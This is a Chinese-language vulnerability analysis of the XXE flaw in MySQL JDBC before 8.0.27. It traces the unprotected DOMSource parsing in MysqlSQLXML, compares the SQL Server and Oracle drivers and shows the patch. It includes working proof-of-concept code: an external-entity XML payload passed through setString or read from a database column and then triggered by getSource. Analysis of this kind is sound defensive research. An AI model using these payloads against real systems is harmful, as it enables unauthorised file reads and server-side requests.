MYSQL JDBC XXE漏洞分析
前言
最近 JDBC爆了一個XXE漏洞,很久沒有分析漏洞了,趁著周末沒事分析下這個漏洞。
分析
10月21日,”阿里云應急響應”公眾號發布Oracle Mysql
JDBC存在XXE漏洞,造成漏洞的原因主要是因為getSource方法未對傳入的XML格式數據進行檢驗。導致攻擊者可構造惡意的XML數據引入外部實體。造成XXE攻擊。影響版本: < MySQL JDBC 8.0.27
漏洞影響版本在8.0.27以下,并且修復的是一個XXE漏洞,所以我們可以在github上對比提交記錄快速找到漏洞點。漏洞主要在MysqlSQLXML中,可以看到新版本在解析XML前加上了一些防御XXE的方法。

搭建8.0.26環境后,查看MysqlSQLXML#getSource方法,這里為了能看起來更直觀,我忽略了大部分代碼,getSource根據傳入class類型的不同做返回不同的Source,返回其他source并沒有解析XML,但在處理DomSource時,通過builder.parse對inputSource的內容進行解析。
public <T extends Source> T getSource(Class<T> clazz) throws SQLException {
...
if (clazz == null || clazz.equals(SAXSource.class)) {
...
return (T) new SAXSource(inputSource);
} else if (clazz.equals(DOMSource.class)) {
try {
...
return (T) new DOMSource(builder.parse(inputSource));
}
...
} else if (clazz.equals(StreamSource.class)) {
...
return (T) new StreamSource(reader);
} else if (clazz.equals(StAXSource.class)) {
...
return (T) new StAXSource(this.inputFactory.createXMLStreamReader(reader));
...
我們再看看DOMSource部分的具體實現,并沒有在parse前做防護處理,并且inputSource可以由this.stringRep參數控制。
try {
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();
InputSource inputSource = null;
if (this.fromResultSet) {
inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
} else {
inputSource = new InputSource(new StringReader(this.stringRep));
}
return (T) new DOMSource(builder.parse(inputSource));
而在setString中為stringRep屬性賦值,所以此處可以造成XXE漏洞。
public synchronized void setString(String str) throws SQLException {
checkClosed();
checkWorkingWithResult();
this.stringRep = str;
this.fromResultSet = false;
}
但是分析到這里就結束了嗎?我認為要真正了解這個漏洞,還需要解決下面的幾個問題:
MysqlSQLXML的功能是什么?為什么getSource中會解析XML?為什么只有DomSource會進行parse,其他的沒有?- 在什么樣的場景下會調用
MysqlSQLXML#getSource? - 為什么只在
MYSQL的SQLXML中出現了問題?其他數據庫的SQLXML沒有漏洞嗎?
思考
要理清上面的問題,首先我們得了解SQLXML是什么東西,為什么要引入它。
SQLXML
在開發的過程中,可能會需要在數據庫中存儲和檢索XML文檔,因此引入了SQLXML類型,SQLXML提供了 String、Reader、Writer 或
Stream 等多種形式訪問XML值的方法。
- getBinaryStream 以流的形式獲取此 SQLXML 實例指定的 XML 值。
- getCharacterStream 以 java.io.Reader 對象的形式獲取此 SQLXML 實例指定的 XML 值。
- getString 返回此 SQLXML 實例指定的 XML 值的字符串表示形式。
我們可以通過ResultSet、CallableStatement 、PreparedStatement
中的getSQLXML方法獲取SQLXML對象。
SQLXML sqlxml = resultSet.getSQLXML(column); InputStream binaryStream = sqlxml.getBinaryStream();
再通過XML解析器解析XML
DocumentBuilder parser = DocumentBuilderFactory.newInstance().newDocumentBuilder(); Document result = parser.parse(binaryStream); SAXParser parser = SAXParserFactory.newInstance().newSAXParser(); parser.parse(binaryStream, myHandler);
除了上述的處理方式外,也可以getSource和setResult直接進行XML處理,而不需要轉換成流并調用解析器解析XML。
比如直接對DOM Document Node進行操作。
//獲取Document Node DOMSource domSource = sqlxml.getSource(DOMSource.class); Document document = (Document) domSource.getNode(); //設置Document Node DOMResult domResult = sqlxml.setResult(DOMResult.class); domResult.setNode(myNode);
或者通過sax解析
SAXSource saxSource = sqlxml.getSource(SAXSource.class); XMLReader xmlReader = saxSource.getXMLReader(); xmlReader.setContentHandler(myHandler); xmlReader.parse(saxSource.getInputSource());
為什么DOMSource會出現問題?
首先我們看下當調用getSource時,不同類型的返回Source的代碼。
return (T) new SAXSource(inputSource); return (T) new DOMSource(builder.parse(inputSource)); return (T) new StreamSource(reader); return (T) new StAXSource(this.inputFactory.createXMLStreamReader(reader));
不同的Source為什么接收的數據類型不相同,這里需要了解不同的解析方式。
DOM:DOM是以層次結構組織的節點或信息片斷的集合。這個層次結構允許開發人員在樹中尋找特定信息。分析該結構通常 需要加載整個文檔和構造層次結構,然后才能做任何工作。
SAX:SAX是一種 基于流的推分析方式 的XML解析技術,分析能夠立即開始,而不是等待所有的數據被處理, 應用程序不必解析整個文檔 ;
StAX:StAX就是一種 基于流的拉分析式
的XML解析技術,只把感興趣的部分拉出,不需要觸發事件。StAX的API可以讀取和寫入XML文檔。使用SAX API,XML可以是只讀的。
推模型:就是我們常說的SAX,它是一種靠事件驅動的模型。當它每發現一個節點就引發一個事件,而我們需要編寫這些事件的處理程序。這樣的做法很麻煩,且不靈活。
拉模型 :在遍歷文檔時,會把感興趣的部分從讀取器中拉出,不需要引發事件,允許我們選擇性地處理節點。這大大提e高了靈活性,以及整體效率。
從Dom解析的特性來講,必須一次性將Dom全部加載到內存中才能操作,而不是像其他類型,可以在使用時再去處理,因此在構建DomSource對象時需要先將Dom先整體解析后才能使用。
如何觸發漏洞?
之前已經分析過一種方式,直接通過setString設置即可觸發,下面是廣為流傳的POC
String poc = "<?xml version=\"1.0\" ?>\n" +
"<!DOCTYPE r [\n" +
"<!ELEMENT r ANY >\n" +
"<!ENTITY sp SYSTEM \"http://127.0.0.1:4444/test.txt\">\n" +
"]>\n" +
"<r>&sp;</r>";
Connection connection =
DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/test", "root","xxxxx");
SQLXML sqlxml = connection.createSQLXML();
sqlxml.setString(poc);
sqlxml.getSource(DOMSource.class);
雖然上面的方式確實可以觸發漏洞,但是我覺得在真實環境中應該不會有人這么寫, 所以我們應該思考下有沒有其他的方式觸發漏洞?
我們結合一下SQLXML的使用場景,是在操作數據庫中的XML數據而產生的,所以正常情況下 應該是操作數據庫中的XML數據而導致的XXE漏洞
。所以我認為下面的POC更符合真實場景,其中DataXML字段中保存著我們的payload。
Connection connection =DriverManager.getConnection("jdbc:mysql://192.168.3.16:3306/test666", "root",
"cangqing<>?");
String sql = "SELECT DataXML from config";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);
rs.next();
SQLXML xml=rs.getSQLXML("DataXML");
DOMSource=xml.getSource(DOMSource.class);
是否由其他方式會導致漏洞?
我們還是看getSource方法,當內容為SAXSource直接將InputSource作為參數傳給了SaxSource,所以從這來看沒有明顯的問題。
if (clazz == null || clazz.equals(SAXSource.class)) {
InputSource inputSource = null;
if (this.fromResultSet) {
inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
} else {
inputSource = new InputSource(new StringReader(this.stringRep));
}
return (T) new SAXSource(inputSource);
這里創建SAXSource并沒有設置XmlReader,因為設置XML解析防御的策略在XmlReader中,所以看不出來是否存在漏洞。
再看看StAXSource,這里是否會導致漏洞取決于this.inputFactory屬性中保存的XMLInputFactory對象,但是雖然MysqlSQLXML中有inputFactory屬性,但是并沒有設置這個屬性的方法或者操作,而是否在開啟XXE的防御是在XMLInputFactory對象中設置的,所以這里也看不出來是否有漏洞。
} else if (clazz.equals(StAXSource.class)) {
try {
Reader reader = null;
if (this.fromResultSet) {
reader = this.owningResultSet.getCharacterStream(this.columnIndexOfXml);
} else {
reader = new StringReader(this.stringRep);
}
return (T) new StAXSource(this.inputFactory.createXMLStreamReader(reader));
} catch (XMLStreamException ex) {
SQLException sqlEx = SQLError.createSQLException(ex.getMessage(), MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, ex, this.exceptionInterceptor);
throw sqlEx;
}
為什么SQLSERVER和ORACLE的數據庫連接沒問題?
mssql-jdbc
首先看mssql- jdbc是怎么處理的,主要邏輯在SQLServerSQLXML#getSource中,判斷類型是否為SteamSource,如果不是則調用getSourceInternal處理。getSourceInternal根據不同的類型調用不同的處理方法。
public <T extends Source> T getSource(Class<T> iface) throws SQLException {
this.checkClosed();
this.checkReadXML();
if (null == iface) {
T src = this.getSourceInternal(StreamSource.class);
return src;
} else {
return this.getSourceInternal(iface);
}
}
<T extends Source> T getSourceInternal(Class<T> iface) throws SQLException {
this.isUsed = true;
T src = null;
if (DOMSource.class == iface) {
src = (Source)iface.cast(this.getDOMSource());
} else if (SAXSource.class == iface) {
src = (Source)iface.cast(this.getSAXSource());
} else if (StAXSource.class == iface) {
src = (Source)iface.cast(this.getStAXSource());
} else if (StreamSource.class == iface) {
src = (Source)iface.cast(new StreamSource(this.contents));
} else {
SQLServerException.makeFromDriverError(this.con, (Object)null, SQLServerException.getErrString("R_notSupported"), (String)null, true);
}
return src;
}
getDOMSource
這里確實也會解析Document,但是在解析前設置了secure-processing,這里應該是防御了XXE漏洞。
private DOMSource getDOMSource() throws SQLException {
Document document = null;
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
MessageFormat form;
Object[] msgArgs;
try {
factory.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
DocumentBuilder builder = factory.newDocumentBuilder();
builder.setEntityResolver(new SQLServerEntityResolver());
try {
document = builder.parse(this.contents);
...
DOMSource inputSource = new DOMSource(document);
return inputSource;
...
}

getSAXSource
getSAXSource在創建SAXParserFactory后并沒有設置屬性來進行安全操作,因此這種方式可能會存在漏洞。
private SAXSource getSAXSource() throws SQLException {
try {
InputSource src = new InputSource(contents);
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
XMLReader reader = parser.getXMLReader();
SAXSource saxSource = new SAXSource(reader, src);
return saxSource;
} catch (SAXException | ParserConfigurationException e) {
MessageFormat form = new MessageFormat(SQLServerException.getErrString("R_failedToParseXML"));
Object[] msgArgs = {e.toString()};
SQLServerException.makeFromDriverError(con, null, form.format(msgArgs), null, true);
}
return null;
}
雖然單純從getSAXSource函數中并沒有直接解析,但是用戶在使用下面的代碼時,則默認可能會導致XXE漏洞。
SQLXML xmlVal= rs.getSQLXML(1); SAXSource saxSource = sqlxml.getSource(SAXSource.class); XMLReader xmlReader = saxSource.getXMLReader(); xmlReader.setContentHandler(myHandler); xmlReader.parse(saxSource.getInputSource());
雖然看起來是有問題的,但當我通過SQLSERVER創建XML類型數據并插入payload時,卻爆了不允許使用內部子集 DTD 分析 XML。請將 CONVERT 與樣式選項 2 一起使用,以啟用有限的內部子集 DTD 支持。在SQLSERVER插入XML類型數據時中不允許使用DTD,所以無法插入惡意的payload。所以
后面的解析方式也可以不看了,無法造成XXE漏洞 。
oracle-ojdbc
查了下資料似乎沒有找到關于SQLXML的支持,所以自然也不存在漏洞。
漏洞修復
mysql jdbc 8.0.27修復了該漏洞,修復方式如下:
DOMSource
DOMSource解析前加上了開啟了防御,所以解決了這個漏洞。
if (clazz.equals(DOMSource.class)) {
try {
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
setFeature(builderFactory, "http://javax.xml.XMLConstants/feature/secure-processing", true);
setFeature(builderFactory, "http://apache.org/xml/features/disallow-doctype-decl", true);
setFeature(builderFactory, "http://xml.org/sax/features/external-general-entities", false);
setFeature(builderFactory, "http://xml.org/sax/features/external-parameter-entities", false);
setFeature(builderFactory, "http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
builderFactory.setXIncludeAware(false);
builderFactory.setExpandEntityReferences(false);
builderFactory.setAttribute("http://javax.xml.XMLConstants/property/accessExternalSchema", "");
DocumentBuilder builder = builderFactory.newDocumentBuilder();
return new DOMSource(builder.parse(this.fromResultSet ? new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml)) : new InputSource(new StringReader(this.stringRep))));
} catch (Throwable var5) {
sqlEx = SQLError.createSQLException(var5.getMessage(), "S1009", var5, this.exceptionInterceptor);
throw sqlEx;
}
SAXSource
這里也發生了改變,之前分析8.0.26版本時,并沒有創建XMLReader,所以沒有漏洞,在更新中創建了XmlReader并進行了安全設置。
try {
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
setFeature(reader, "http://apache.org/xml/features/disallow-doctype-decl", true);
setFeature(reader, "http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
setFeature(reader, "http://xml.org/sax/features/external-general-entities", false);
setFeature(reader, "http://xml.org/sax/features/external-parameter-entities", false);
return new SAXSource(reader, this.fromResultSet ? new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml)) : new InputSource(new StringReader(this.stringRep)));
} catch (SAXException var7) {
sqlEx = SQLError.createSQLException(var7.getMessage(), "S1009", var7, this.exceptionInterceptor);
throw sqlEx;
}